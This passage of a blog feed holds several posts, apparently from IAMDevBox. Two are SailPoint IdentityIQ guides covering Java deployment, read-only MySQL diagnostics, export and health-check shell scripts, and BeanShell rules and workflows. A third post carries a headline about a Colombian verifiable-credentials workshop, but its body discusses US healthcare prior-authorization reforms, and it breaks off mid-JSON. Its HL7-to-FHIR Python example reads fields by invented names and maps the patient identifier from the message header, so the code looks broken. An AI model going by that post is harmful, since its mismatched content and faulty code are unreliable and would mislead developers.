Enable Delta Aggregation where the connector supports it. Scanning only changed accounts instead of the full population shrinks both the blast radius and the runtime of any future connector hiccup.
Set "Disable optimization of unchanged accounts" deliberately, not by default. It forces a full re-read of every account on every run, which is useful for a one-time data integrity check after a bad aggregation, but leaving it on permanently multiplies connector load and increases the odds of hitting exactly the timeout and rate-limit failures described above.

For the underlying rule and workflow mechanics referenced throughout this guide — Correlation Rules, custom TaskExecutors, and the SailPointContext API — see the BeanShell Rules, Workflows, and Tasks guide. For automating the console commands above into a scheduled health check rather than running them manually after every failure, see Java, MySQL, and Shell Scripting for IdentityIQ.

Java, MySQL, and Shell Scripting for SailPoint IdentityIQ

IAMDevBox — Fri, 21 Aug 2026 02:19:40 +0000

SailPoint IdentityIQ is a Java web application running on an application server against a relational database. Most IdentityIQ development happens in BeanShell rules and XML workflows — covered in the companion guide to IdentityIQ BeanShell rules, workflows, and tasks. This article covers the layer underneath: when to write compiled Java instead of BeanShell, how the MySQL schema is actually laid out, and the shell scripting that turns manual console work into repeatable automation.

The Stack, Concretely

An IdentityIQ deployment is four layers, and knowing which one a problem lives in cuts debugging time dramatically:

Layer	What lives there	Where to look
Application server	Tomcat/WebSphere/WebLogic, JVM heap, threads	`catalina.out`, thread dumps
IdentityIQ WAR	Your JARs, rules, config	`IdentityIQ_HOME/WEB-INF/`
Database	All objects, most as XML blobs	`spt_` tables
Target systems	AD, LDAP, HR feeds, apps	Connector logs

IdentityIQ_HOME is wherever identityiq.war was expanded — typically $TOMCAT_HOME/webapps/identityiq. Nearly every path in this article is relative to it.

Java: When to Leave BeanShell

BeanShell is convenient for short scripts, but it is interpreted, untyped, and untestable. Move to compiled Java when any of these apply:

The logic exceeds roughly 50 lines
You need unit tests
It runs in a hot path — per-account during aggregation, for instance
You need a library BeanShell struggles to use cleanly
You are writing a custom connector or task executor

Compiling Against the IdentityIQ API

Your code compiles against identityiq.jar, found in IdentityIQ_HOME/WEB-INF/lib/. A minimal Maven setup installs it into your local repository, since SailPoint does not publish to Maven Central:

mvn install:install-file \
  -Dfile=/opt/tomcat/webapps/identityiq/WEB-INF/lib/identityiq.jar \
  -DgroupId=sailpoint \
  -DartifactId=identityiq \
  -Dversion=8.4 \
  -Dpackaging=jar

Then declare it as provided — it must not be bundled into your artifact, because the container already has it:

<dependency>
  <groupId>sailpoint</groupId>
  <artifactId>identityiq</artifactId>
  <version>8.4</version>
  <scope>provided</scope>
</dependency>

Marking it compile instead ships a second copy of every SailPoint class inside your JAR, producing ClassCastException errors where the same class loaded by two classloaders is not considered equal. This is one of the harder IdentityIQ bugs to diagnose, because the exception message names the same class on both sides.

Java Version Compatibility

IdentityIQ 8.x supports Java 8 and 11, with 8.4 adding Java 17 on supported application servers. Compile targeting the version your application server actually runs:

java -version                       # on the app server host
mvn -DskipTests package             # with maven.compiler.release matching

A mismatch produces UnsupportedClassVersionError at class load time — not at deployment — so the failure shows up the first time your code is invoked, often long after the deploy appeared to succeed.

Deploying a Custom JAR

sudo systemctl stop tomcat
sudo cp target/iiq-custom-1.0.0.jar /opt/tomcat/webapps/identityiq/WEB-INF/lib/
sudo chown tomcat:tomcat /opt/tomcat/webapps/identityiq/WEB-INF/lib/iiq-custom-1.0.0.jar
sudo systemctl start tomcat

A restart is mandatory — the JVM does not reload classes from WEB-INF/lib at runtime. This is the key operational difference from rules, which are database objects you can update live.

Remove the old version explicitly when deploying an update with a changed filename. Two JARs both containing com.example.iiq.MyRule produce nondeterministic behaviour depending on classloader ordering.

MySQL: The IdentityIQ Schema

Generating and Loading the Schema

IdentityIQ generates its own DDL. From IdentityIQ_HOME/WEB-INF/bin:

./iiq schema

This writes versioned scripts into IdentityIQ_HOME/WEB-INF/database, named like create_identityiq_tables-8.4.mysql. Load the one matching your database platform:

mysql -u root -p identityiq < create_identityiq_tables-8.4.mysql

Expect this to take anywhere from 45 minutes to 2 hours. Re-run ./iiq schema after adding extended attributes — they become real columns, and the generated DDL changes.

Connection Settings

Connection configuration lives in IdentityIQ_HOME/WEB-INF/classes/iiq.properties:

dataSource.url=jdbc:mysql://db.example.com:3306/identityiq?useUnicode=true&characterEncoding=utf8
dataSource.username=identityiq
dataSource.password=<encrypted-value>
dataSource.maxActive=50

The password must be encrypted. Generate the ciphertext with:

./iiq encrypt changeit

Paste the output into iiq.properties. IdentityIQ will not accept a plaintext password here.

The Tables You Will Actually Query

Every table carries the spt_ prefix. These are the ones worth knowing:

Table	Contents
`spt_identity`	The identity cube — one row per person
`spt_link`	Accounts on target systems, linked to identities
`spt_application`	Connector configurations
`spt_bundle`	Roles
`spt_identity_entitlement`	Who currently holds which entitlement
`spt_task_result`	Task execution history and results
`spt_workflow_case`	In-flight workflow state
`spt_work_item`	Pending approvals and manual actions
`spt_syslog_event`	System errors and warnings
`spt_audit_event`	Audit trail

Read-Only Diagnostics That Save Real Time

These queries answer questions the UI makes tedious. All are SELECT only.

Which aggregations are failing, and how recently:

SELECT name,
       FROM_UNIXTIME(completed/1000) AS completed_at,
       completion_status,
       SUBSTRING(messages, 1, 200)   AS first_message
FROM   spt_task_result
WHERE  completion_status IN ('Error', 'Warning')
ORDER  BY completed DESC
LIMIT  20;

Accounts that failed to correlate — the usual cause of "the user exists but has no access":

SELECT a.name        AS application,
       COUNT(*)      AS uncorrelated_accounts
FROM   spt_link l
JOIN   spt_application a ON l.application = a.id
WHERE  l.identity_id IS NULL
GROUP  BY a.name
ORDER  BY uncorrelated_accounts DESC;

Workflows stuck in flight, which accumulate invisibly and eventually degrade performance:

SELECT name,
       FROM_UNIXTIME(created/1000) AS created_at,
       DATEDIFF(NOW(), FROM_UNIXTIME(created/1000)) AS age_days
FROM   spt_workflow_case
WHERE  DATEDIFF(NOW(), FROM_UNIXTIME(created/1000)) > 30
ORDER  BY created ASC;

Table sizes, to find what is actually consuming disk:

SELECT table_name,
       ROUND(((data_length + index_length) / 1024 / 1024), 1) AS size_mb,
       table_rows
FROM   information_schema.TABLES
WHERE  table_schema = 'identityiq'
ORDER  BY (data_length + index_length) DESC
LIMIT  15;

Note that IdentityIQ stores timestamps as Unix epoch milliseconds in BIGINT columns, which is why every date needs FROM_UNIXTIME(col/1000).

Never Write Directly to the Database

This deserves emphasis because it is the most damaging mistake available to someone comfortable with SQL.

Most IdentityIQ objects serialize their real content into an XML blob column. The relational columns beside it are a partial, denormalized projection maintained by the application for querying. An UPDATE that changes a column leaves the XML blob untouched, so the object now disagrees with itself — and the XML wins the next time the object loads.

Compounding this, Hibernate caches objects in memory. A direct SQL change to a cached object is silently overwritten the next time the application saves it.

Use the iiq console, the API, or a task. SELECT freely; never UPDATE, INSERT, or DELETE.

Keeping the Database from Growing Forever

Four tables grow without bound if left alone: spt_task_result, spt_syslog_event, spt_audit_event, and spt_provisioning_transaction. On a busy deployment spt_syslog_event can reach tens of millions of rows, at which point ordinary queries slow noticeably.

Schedule the built-in Perform Maintenance task and configure retention in System Setup. Verify it is working:

SELECT COUNT(*)                          AS total,
       FROM_UNIXTIME(MIN(created)/1000)  AS oldest,
       FROM_UNIXTIME(MAX(created)/1000)  AS newest
FROM   spt_syslog_event;

If oldest predates your retention window, purging is not running.

MySQL Settings That Matter

[mysqld]
innodb_buffer_pool_size = 8G        # size to available RAM
max_allowed_packet      = 64M       # large XML blobs exceed the 4M default
innodb_log_file_size    = 512M
character_set_server    = utf8mb4
transaction_isolation   = READ-COMMITTED

max_allowed_packet is the one that bites first. IdentityIQ writes large XML blobs, and the default rejects them with Packet for query is too large, usually during aggregation of a large application.

Shell Scripting: Automating the Console

The iiq console reads from stdin, which makes it scriptable. This is the foundation for backup, deployment, and health-check automation.

Exporting Objects for Version Control

IdentityIQ objects live in the database and are therefore invisible to Git. A database refresh destroys uncommitted customization. This script exports them:

#!/usr/bin/env bash
set -euo pipefail

IIQ_HOME="${IIQ_HOME:-/opt/tomcat/webapps/identityiq}"
IIQ_BIN="$IIQ_HOME/WEB-INF/bin"
EXPORT_DIR="${1:-./iiq-export}"

mkdir -p "$EXPORT_DIR"/{rules,workflows,tasks,applications}

export_class() {
  local cls="$1" dest="$2"
  echo "Exporting $cls..."

  "$IIQ_BIN/iiq" console <<CONSOLE | grep -v '^>' > "$dest/_list.txt"
list $cls
CONSOLE

  while IFS= read -r name; do
    [[ -z "$name" ]] && continue
    local safe="${name//[^a-zA-Z0-9._-]/_}"
    "$IIQ_BIN/iiq" console <<CONSOLE >/dev/null
checkout $cls "$name" $dest/$safe.xml
CONSOLE
  done < "$dest/_list.txt"
}

export_class Rule         "$EXPORT_DIR/rules"
export_class Workflow     "$EXPORT_DIR/workflows"
export_class TaskDefinition "$EXPORT_DIR/tasks"

echo "Exported to $EXPORT_DIR"

Run it on a schedule, commit the output, and a database refresh becomes recoverable.

Deploying XML with Validation

#!/usr/bin/env bash
set -euo pipefail

IIQ_BIN="${IIQ_HOME:-/opt/tomcat/webapps/identityiq}/WEB-INF/bin"
TARGET="$1"

if [[ ! -e "$TARGET" ]]; then
  echo "ERROR: $TARGET not found" >&2
  exit 1
fi

# Fail before touching IdentityIQ if the XML is malformed
find "$TARGET" -name '*.xml' -print0 | while IFS= read -r -d '' f; do
  xmllint --noout "$f" || { echo "ERROR: invalid XML in $f" >&2; exit 1; }
done

for f in $(find "$TARGET" -name '*.xml' | sort); do
  echo "Importing $(basename "$f")"
  "$IIQ_BIN/iiq" console <<CONSOLE
import $f
CONSOLE
done

The xmllint pre-check matters because import on malformed XML can partially apply, leaving the environment in a state neither matching the old nor the new definition.

A Health Check Worth Cron-ing

#!/usr/bin/env bash
# Report IdentityIQ health; exit non-zero if anything is wrong.

DB_USER="${DB_USER:-identityiq}"
DB_NAME="${DB_NAME:-identityiq}"
CATALINA_OUT="${CATALINA_OUT:-/opt/tomcat/logs/catalina.out}"
status=0

q() { mysql -u "$DB_USER" -p"$DB_PASS" -N -B -e "$1" "$DB_NAME" 2>/dev/null; }

failed=$(q "SELECT COUNT(*) FROM spt_task_result
            WHERE completion_status='Error'
              AND completed > (UNIX_TIMESTAMP(NOW() - INTERVAL 1 DAY) * 1000);")
if [[ "${failed:-0}" -gt 0 ]]; then
  echo "WARN: $failed task(s) failed in the last 24h"
  status=1
fi

stuck=$(q "SELECT COUNT(*) FROM spt_workflow_case
           WHERE created < (UNIX_TIMESTAMP(NOW() - INTERVAL 30 DAY) * 1000);")
if [[ "${stuck:-0}" -gt 0 ]]; then
  echo "WARN: $stuck workflow case(s) older than 30 days"
  status=1
fi

if [[ -f "$CATALINA_OUT" ]]; then
  oom=$(grep -c 'OutOfMemoryError' "$CATALINA_OUT" || true)
  [[ "$oom" -gt 0 ]] && { echo "CRITICAL: $oom OutOfMemoryError in catalina.out"; status=2; }
fi

exit $status

Note -p"$DB_PASS" reads from the environment rather than hardcoding a credential, and -N -B strips headers and formatting so the output parses cleanly.

Watching Aggregation in Real Time

# Follow only connector activity during an aggregation run
tail -f /opt/tomcat/logs/catalina.out | grep --line-buffered -E 'sailpoint.connector|Aggregation'

# Count errors by type from today's log
grep 'ERROR' /opt/tomcat/logs/catalina.out \
  | sed -E 's/.*ERROR[[:space:]]+//' \
  | cut -d' ' -f1 \
  | sort | uniq -c | sort -rn | head -20

--line-buffered on grep is what makes the first command actually stream; without it grep buffers output and the tail appears frozen.

Putting It Together

A sound IdentityIQ deployment pipeline uses all three layers: shell scripts export objects from development into Git, compiled Java holds logic too complex for BeanShell, and MySQL is queried read-only for diagnostics while all writes go through the IdentityIQ API.

The governance logic you build on top of this — rules, workflows, and tasks — is covered in the companion guide to IdentityIQ BeanShell rules, workflows, and tasks. For how IdentityIQ compares to other platforms in this space, see our IAM tools comparison.

SailPoint IdentityIQ BeanShell Rules, Workflows, and Tasks: A Developer's Guide

IAMDevBox — Fri, 21 Aug 2026 02:19:24 +0000

SailPoint IdentityIQ ships with three extension points where you write code: rules (BeanShell scripts that compute a value), workflows (XML state machines that orchestrate multi-step processes), and tasks (scheduled jobs that operate on data in bulk). Almost every IdentityIQ customization you will ever build fits into one of those three. This guide covers what each one is for, the API you use inside them, and the failure modes that cost new IdentityIQ developers the most time.

If you are coming from a different IAM platform, the closest analogue is scripted customization in ForgeRock — see our ForgeRock AM script customization guide for a comparison of how the two platforms approach the same problem.

Choosing the Right Extension Point

Before writing anything, pick the correct mechanism. Choosing wrong is the most expensive mistake in IdentityIQ development, because migrating logic from a rule to a workflow later means rewriting it entirely.

You need to...	Use	Runs
Transform an attribute value	Rule	Synchronously, in-process
Match an account to an identity	Correlation Rule	During aggregation
Decide who approves a request	Workflow	Asynchronously, may pause for days
Process every identity in bulk	Task	On a schedule
Modify data on its way to a target system	Provisioning Rule	During provisioning

The dividing line between a rule and a workflow is whether the logic can pause. A rule runs start to finish in a single thread and returns one value. If your logic needs to wait for a human, it must be a workflow.

BeanShell: The Language IdentityIQ Actually Runs

IdentityIQ rules are written in BeanShell, a scripting language that interprets Java syntax at runtime. This is the single most important thing to understand about IdentityIQ development, because BeanShell's differences from Java cause the majority of production rule failures.

What BeanShell Does Not Support

BeanShell implements Java syntax as of roughly Java 1.4. The following will fail:

// GENERICS — not supported. This throws a parse error.
List<String> names = new ArrayList<String>();

// Correct: use raw types
List names = new ArrayList();

// LAMBDAS and streams — not supported
names.stream().filter(n -> n.startsWith("a"));

// Correct: use an explicit loop
for (int i = 0; i < names.size(); i++) {
    String n = (String) names.get(i);
    if (n.startsWith("a")) { /* ... */ }
}

// ANNOTATIONS — not supported
@Override
public String toString() { }

Loose Typing Hides Bugs Until Runtime

BeanShell lets you declare variables without a type. This is convenient and dangerous:

// Both are legal in BeanShell
String name = identity.getName();
name = identity.getName();

Because the script is interpreted, a misspelled method name compiles fine and fails only when that specific branch executes. A rule that works in your test case can fail six months later the first time an identity hits an untested code path. Two defenses matter:

Always declare types explicitly. It does not make BeanShell check them at parse time, but it documents intent and catches cast errors sooner.
Validate rules before deploying. The iiq console has a syntax checker — see the console section below.

Null Safety Is Entirely Your Job

IdentityIQ getters return null constantly. An identity may have no manager, a link may have no attribute, an application may not be assigned. Defensive null checks are not optional:

import sailpoint.object.Identity;

Identity manager = identity.getManager();
String managerEmail = null;

if (manager != null) {
    managerEmail = manager.getStringAttribute("email");
}

if (managerEmail == null || managerEmail.trim().length() == 0) {
    managerEmail = "identity-governance@example.com";  // fallback
}

return managerEmail;

Rules: The Most Common Extension Point

A rule is a Rule object stored in the database, containing a BeanShell script and a declared type. The type determines which arguments IdentityIQ passes in, and this is where most confusion lives — every rule type receives a different set of variables.

Anatomy of a Rule

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd">
<Rule language="beanshell" name="Example Manager Email Rule" type="IdentityAttribute">
  <Description>
    Returns the manager's email address, falling back to a governance mailbox.
  </Description>
  <Signature returnType="String">
    <Inputs>
      <Argument name="identity" type="sailpoint.object.Identity"/>
      <Argument name="context" type="sailpoint.api.SailPointContext"/>
    </Inputs>
  </Signature>
  <Source><![CDATA[
    import sailpoint.object.Identity;

    if (identity == null) {
        return null;
    }

    Identity manager = identity.getManager();
    if (manager == null) {
        return "identity-governance@example.com";
    }

    return manager.getStringAttribute("email");
  ]]></Source>
</Rule>

Three details matter here:

The <Source> must be wrapped in CDATA. Without it, any <, >, or & in your code breaks the XML parse.
The type attribute is not cosmetic. It controls the input arguments and where the rule appears in the UI dropdowns.
<Signature> is documentation, not enforcement. BeanShell does not validate arguments against it. Declaring an argument that IdentityIQ does not actually pass yields null at runtime, not an error.

Rule Types You Will Actually Write

IdentityIQ defines dozens of rule types. In practice, a small handful cover most work:

BuildMap — Runs once per row of incoming data during aggregation, converting a raw record into a Map of attributes. Required by the JDBC connector, and used heavily with delimited-file connectors. The record variable holds the incoming data:

import java.util.HashMap;

HashMap resultMap = new HashMap();

for (int i = 0; i < cols.size(); i++) {
    String colName = (String) cols.get(i);
    Object value = record.get(colName);
    resultMap.put(colName, value);
}

// Derive a value that does not exist in the source
String status = (String) resultMap.get("EMP_STATUS");
resultMap.put("isActive", "1".equals(status) ? "true" : "false");

return resultMap;

Correlation — Decides which identity an account belongs to when a simple attribute match is not enough. Returns a Map naming the identity attribute to match on:

import java.util.HashMap;

HashMap result = new HashMap();
String employeeId = (String) account.getAttribute("employeeNumber");

if (employeeId != null && employeeId.length() > 0) {
    // Strip a legacy prefix before matching
    if (employeeId.startsWith("E-")) {
        employeeId = employeeId.substring(2);
    }
    result.put("identityAttributeName", "employeeId");
    result.put("identityAttributeValue", employeeId);
}

return result;

IdentityAttribute — Computes a value for an identity attribute during the Identity Refresh task. Receives identity and, for some configurations, link.

Provisioning / BeforeProvisioning / AfterProvisioning — Modify a ProvisioningPlan on its way to a target system. The canonical use case is translating IdentityIQ's values into whatever encoding the target expects — for instance converting "Full" to the numeric code 1.

Certification — Filter or pre-decide certification items, typically to auto-approve low-risk entitlements so reviewers only see what matters.

Find the exact arguments for any rule type in IdentityIQ_HOME/WEB-INF/config/examplerules.xml. This file contains a working example of every rule type with its real input arguments, and it is more reliable than the documentation for this specific question.

Rule Libraries Prevent Copy-Paste Sprawl

Do not duplicate helper logic across twenty rules. Put shared functions in a rule of type null and reference it:

<Rule language="beanshell" name="Example Rule Library" type="null">
  <Source><![CDATA[
    public static String normalizeDepartment(String raw) {
        if (raw == null) return "UNKNOWN";
        return raw.trim().toUpperCase().replaceAll("[^A-Z0-9]", "_");
    }
  ]]></Source>
</Rule>

Then in any consuming rule:

<Rule language="beanshell" name="Department Attribute Rule" type="IdentityAttribute">
  <ReferencedRules>
    <Reference class="sailpoint.object.Rule" name="Example Rule Library"/>
  </ReferencedRules>
  <Source><![CDATA[
    return normalizeDepartment(identity.getStringAttribute("dept"));
  ]]></Source>
</Rule>

The SailPointContext API

SailPointContext is your handle to the database. Nearly every rule receives it as context. Four operations cover most usage:

import sailpoint.object.Identity;
import sailpoint.object.Application;
import sailpoint.object.Filter;
import sailpoint.object.QueryOptions;
import java.util.Iterator;
import java.util.List;
import java.util.ArrayList;

// 1. Fetch a single object by name
Identity user = context.getObjectByName(Identity.class, "jdoe");

// 2. Fetch by ID
Application app = context.getObjectById(Application.class, appId);

// 3. Query with filters
QueryOptions qo = new QueryOptions();
qo.addFilter(Filter.eq("inactive", new Boolean(false)));
qo.addFilter(Filter.like("department", "Engineering", Filter.MatchMode.START));
List identities = context.getObjects(Identity.class, qo);

// 4. Save changes — BOTH calls are required
user.setAttribute("riskTier", "HIGH");
context.saveObject(user);
context.commitTransaction();

Use Projection Queries for Bulk Reads

context.getObjects() hydrates every full object into memory. Against a large identity cube this will exhaust the heap. When you only need a few fields, use a projection query, which returns an iterator over Object[] rows and streams results:

import sailpoint.object.QueryOptions;
import sailpoint.object.Identity;
import java.util.Iterator;
import java.util.ArrayList;
import java.util.List;

QueryOptions qo = new QueryOptions();
qo.addFilter(Filter.eq("inactive", new Boolean(false)));

List props = new ArrayList();
props.add("id");
props.add("name");

Iterator it = context.search(Identity.class, qo, props);
int count = 0;
while (it.hasNext()) {
    Object[] row = (Object[]) it.next();
    String id = (String) row[0];
    String name = (String) row[1];
    count++;
}
return "Processed " + count + " identities";

For long-running loops, call context.decache() periodically to clear the Hibernate session, or memory will grow until the task fails.

Workflows: Orchestrating Processes That Pause

A workflow is an XML state machine. It exists because rules cannot wait. When a user requests access and a manager must approve it, the process may sit idle for days — the workflow persists to a WorkflowCase row and resumes when the approval arrives, surviving application restarts.

Steps and Transitions

<Workflow name="Example Access Request Approval" type="LCMProvisioning">
  <Variable name="identityName" input="true"/>
  <Variable name="plan" input="true"/>
  <Variable name="approvalDecision"/>

  <Step name="Start" icon="Start">
    <Transition to="Evaluate Risk"/>
  </Step>

  <Step name="Evaluate Risk" resultVariable="riskLevel">
    <Script><![CDATA[
      import sailpoint.object.Identity;
      Identity id = context.getObjectByName(Identity.class, identityName);
      if (id != null && id.getScore() != null && id.getScore().intValue() > 500) {
          return "HIGH";
      }
      return "LOW";
    ]]></Script>
    <Transition to="Manager Approval" when='riskLevel == "HIGH"'/>
    <Transition to="Auto Approve"/>
  </Step>

  <Step name="Manager Approval">
    <Approval mode="serial" owner="script:...">
      <Arg name="workItemDescription" value="Approve access request"/>
    </Approval>
    <Transition to="Provision"/>
  </Step>

  <Step name="Auto Approve">
    <Transition to="Provision"/>
  </Step>

  <Step name="Provision" action="call:provisionProject">
    <Transition to="Stop"/>
  </Step>

  <Step name="Stop" icon="Stop"/>
</Workflow>

Key mechanics:

<Transition> order matters. They are evaluated top to bottom and the first matching when wins. Always place a bare <Transition> last as the default branch, or the workflow will dead-end.
resultVariable captures a step's return value into a workflow variable usable by later steps and transition conditions.
Variables marked input="true" are supplied by the caller. Everything else starts null.

Debugging Workflows

Workflows fail silently more often than rules do, because a failed transition simply stops the case. Two techniques:

Enable workflow trace. Add <Arg name="trace" value="true"/> to the workflow, and step-by-step execution prints to stdout — usually catalina.out on Tomcat.
Inspect the stuck case. In the iiq console: list WorkflowCase then checkout WorkflowCase "<name>" /tmp/case.xml to see exactly which step it halted on and the state of every variable.

Tasks: Scheduled Bulk Operations

Tasks are TaskDefinition objects run on a schedule. The built-ins cover most needs — Account Aggregation pulls accounts from a source, Identity Refresh recalculates attributes, roles, and risk scores across the identity cube.

When you need behaviour the built-ins do not provide, write a custom task executor in Java (not BeanShell) by implementing TaskExecutor:

package com.example.iiq.task;

import sailpoint.api.SailPointContext;
import sailpoint.object.Attributes;
import sailpoint.object.TaskResult;
import sailpoint.object.TaskSchedule;
import sailpoint.task.AbstractTaskExecutor;

public class DormantAccountTask extends AbstractTaskExecutor {

    private boolean terminated = false;

    public void execute(SailPointContext context, TaskSchedule schedule,
                        TaskResult result, Attributes args) throws Exception {

        int threshold = args.getInt("dormantDays", 90);
        int processed = 0;

        // ... query and process identities, checking terminated each iteration

        result.setAttribute("identitiesProcessed", new Integer(processed));
        result.setAttribute("dormantThreshold", new Integer(threshold));
    }

    public boolean terminate() {
        this.terminated = true;
        return true;
    }
}

Compile this into a JAR, drop it in IdentityIQ_HOME/WEB-INF/lib/, restart the application server, and register it with a TaskDefinition XML pointing at the class name.

Always honour terminate(). A task that ignores it cannot be stopped from the UI, and an administrator's only remaining option is restarting the application server.

The iiq Console

The console is where you deploy, inspect, and debug. Launch it from IdentityIQ_HOME/WEB-INF/bin:

./iiq console          # Linux/macOS
iiq.bat console        # Windows

It requires the System Administrator capability and authenticates as spadmin by default. The commands you will use constantly:

> import /path/to/rules.xml           # deploy an object
> checkout Rule "My Rule" /tmp/r.xml  # export for review or migration
> list Rule                           # enumerate objects of a class
> get Identity jdoe                   # print an object as XML
> rule "My Rule"                      # execute a rule interactively
> warn                                # show recent warnings

checkout plus import is the migration path between environments. Export from dev, commit the XML to version control, import into test.

Logging and Debugging

Configure logging in IdentityIQ_HOME/WEB-INF/classes/log4j2.properties. IdentityIQ picks up changes to this file automatically within roughly 60 seconds — no application restart required, which is the single biggest time-saver in IdentityIQ debugging.

# Namespace your rule logging so you can raise it without drowning in output
logger.customrules.name = com.example.iiq
logger.customrules.level = debug

# Useful built-in loggers
logger.connector.name = sailpoint.connector
logger.connector.level = debug

logger.workflow.name = sailpoint.workflow
logger.workflow.level = debug

Inside a rule:

import org.apache.log4j.Logger;

Logger log = Logger.getLogger("com.example.iiq.correlation");
log.debug("Correlating account: " + account.getNativeIdentity());

Never use System.out.println() in production rules. It writes to the container log with no level control, no namespace, and no way to disable it without a code change and restart.

Deployment Practices That Prevent Outages

Version-control the XML, not the database. IdentityIQ objects live in the database, which makes them invisible to Git by default. Export every custom rule, workflow, and task definition with checkout and commit the XML. Without this, a database refresh silently destroys work.

Never edit rules in production through the UI. The debug pages allow direct object editing, which creates changes that exist in exactly one environment and are lost on the next deployment.

Test correlation rules against real edge cases — accounts with null employee IDs, duplicate IDs, service accounts that should match nothing. A correlation rule that throws an exception aborts the entire aggregation run, not just the one account.

Keep rules short. A rule doing substantial work belongs in a compiled Java class in WEB-INF/lib/, called from a thin BeanShell wrapper. You get compile-time type checking, real unit tests, and a debugger.

Where This Fits in Broader Identity Governance

Rules, workflows, and tasks are the mechanics. What you build with them is governance — access certification, joiner-mover-leaver automation, separation-of-duties enforcement. For the strategic layer above this code, see our guide to identity governance in the Zero Trust era, and for where the platform is heading, SailPoint's extension of governance to AI agents.

The infrastructure underneath — the Java runtime, the MySQL schema your queries hit, and the shell scripts that automate deployment — is covered in the companion article on Java, MySQL, and shell scripting for SailPoint IdentityIQ.

Colombia Advances Public Sector Tech with Verifiable Credentials Workshop

IAMDevBox — Wed, 19 Aug 2026 14:39:57 +0000

Why This Matters Now

The healthcare industry is undergoing significant transformation, particularly in the area of prior authorization (PA). Recent reforms by payers aim to streamline PA processes, reduce administrative overhead, and improve patient access to necessary treatments. However, these changes have sparked skepticism among providers, who fear increased complexity and potential disruptions. As an IAM engineer, understanding these reforms is crucial for ensuring secure and efficient data exchange in the healthcare ecosystem.

Understanding Prior Authorization Reforms

Background

Prior authorization has long been a cumbersome process in healthcare, involving multiple steps and manual interventions. Providers must submit detailed documentation to payers, who then review and approve or deny requests. This process can take days or even weeks, delaying patient care and increasing administrative costs.

Recent Reforms

In response to these challenges, several payers have implemented or announced reforms aimed at simplifying PA processes. These reforms often involve:

Digitization: Moving from paper-based to digital systems for submitting and reviewing PA requests.
Standardization: Adopting standardized data formats and protocols to facilitate seamless data exchange.
Automation: Implementing automated workflows to reduce manual processing and speed up approvals.
Interoperability: Enhancing interoperability between provider and payer systems to ensure real-time data sharing.

Timeline

2021: Many payers began exploring digital PA solutions and piloting new processes.
2022: Several major payers launched full-scale digital PA initiatives.
2023: Ongoing implementation and expansion of these reforms, with increased focus on standardization and interoperability.

Impact on Providers

Providers have mixed feelings about these reforms. While they recognize the potential benefits, such as faster approvals and reduced administrative burden, many are concerned about:

Technical Complexity: The need to integrate new systems and comply with standardized protocols.
Data Security: Ensuring the security and privacy of sensitive patient information during data exchange.
Operational Disruption: Potential disruptions to existing workflows and staff training requirements.

IAM Considerations for Prior Authorization Reforms

Secure Data Exchange

One of the primary goals of PA reforms is to streamline data exchange between providers and payers. To achieve this securely, IAM solutions play a crucial role. Here are some key considerations:

Authentication and Authorization

Multi-Factor Authentication (MFA): Implement MFA for accessing PA systems to prevent unauthorized access.
Role-Based Access Control (RBAC): Define roles and permissions based on job functions to ensure that only authorized personnel can access sensitive information.

Data Encryption

Transport Layer Security (TLS): Use TLS to encrypt data transmitted between provider and payer systems.
Encryption at Rest: Ensure that sensitive data is encrypted when stored in databases and other storage systems.

Auditing and Monitoring

Audit Logs: Maintain detailed audit logs of all access and activity within PA systems.
Real-Time Monitoring: Implement real-time monitoring to detect and respond to suspicious activities promptly.

Standardized Data Formats

Adopting standardized data formats is essential for seamless data exchange. The most commonly used standards in healthcare include:

HL7: Health Level Seven standards define messaging protocols for exchanging clinical and administrative data.
FHIR: Fast Healthcare Interoperability Resources provide a modern, flexible framework for exchanging healthcare data.

Example: Implementing FHIR

Here's an example of how to implement FHIR for PA requests using OAuth 2.0 for authentication:

{{< mermaid >}}
graph LR
A[Provider System] --> B[Authorization Server]
B --> C{Valid?}
C -->|Yes| D[FHIR Server]
C -->|No| E[Error]
D --> F[PA Response]
F --> A
{{< /mermaid >}}

Step-by-Step Guide

Register the Provider System

Request an Access Token

Use the client credentials to request an access token from the authorization server.

Submit PA Request

Send the PA request to the FHIR server using the access token for authentication.

Receive PA Response

Process the PA response received from the FHIR server.

Terminal Output

Terminal $ curl -X POST https://auth.example.com/token -d 'grant_type=client_credentials&client_id=provider123&client_secret=secret456' {"access_token": "eyJ...", "token_type": "Bearer", "expires_in": 3600}

Quick Reference

📋 Quick Reference

- `curl -X POST https://auth.example.com/token` - Request an access token - `curl -X POST https://fhir.example.com/PriorAuthorizationRequest` - Submit PA request

Interoperability Challenges

Ensuring interoperability between provider and payer systems is critical for successful PA reforms. Common challenges include:

System Compatibility: Different systems may use different standards and protocols, requiring additional integration efforts.
Data Mapping: Mapping data fields between different systems can be complex and time-consuming.
Performance Issues: Real-time data exchange can lead to performance bottlenecks if not properly managed.

Example: Handling Data Mapping

Here's an example of how to handle data mapping between provider and payer systems using HL7:

# Example Python code for mapping HL7 data to FHIR

from fhir.resources.patient import Patient
from hl7apy.parser import parse_message

def map_hl7_to_fhir(hl7_message):
    # Parse HL7 message
    hl7_obj = parse_message(hl7_message)

    # Create FHIR Patient resource
    fhir_patient = Patient()
    fhir_patient.identifier = [{'system': 'http://example.com/patient', 'value': hl7_obj.MSH.get_field('SendingFacility').value}]
    fhir_patient.name = [{'family': hl7_obj.PID.get_field('LastName').value, 'given': [hl7_obj.PID.get_field('FirstName').value]}]
    fhir_patient.telecom = [{'system': 'phone', 'value': hl7_obj.PID.get_field('PhoneNumberHome').value}]

    return fhir_patient

# Example HL7 message
hl7_message = "MSH|^~\\&|SendingApp|SendingFacility|ReceivingApp|ReceivingFacility|202310151200||ADT^A01|12345|P|2.5.1\rPID||12345^^^SendingFacility&1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16|Doe^John^^^Mr.|John^Doe||19800101|M||Caucasian|123 Main St^^Anytown^NY^12345^USA||(555)555-5555"

# Map HL7 to FHIR
fhir_patient = map_hl7_to_fhir(hl7_message)
print(fhir_patient.json(indent=2))

Notice Box

💜 Pro Tip: Use libraries like hl7apy and fhir.resources to simplify data mapping between HL7 and FHIR.

Security Best Practices

Implementing secure data exchange requires adherence to best practices:

Compliance: Ensure compliance with relevant regulations such as HIPAA and GDPR.
Access Control: Implement strict access controls to prevent unauthorized access to sensitive data.
Incident Response: Develop and maintain an incident response plan to address data breaches and security incidents promptly.

Example: Implementing Access Control

Here's an example of implementing RBAC using a hypothetical IAM solution:

{
  "roles": [
    {
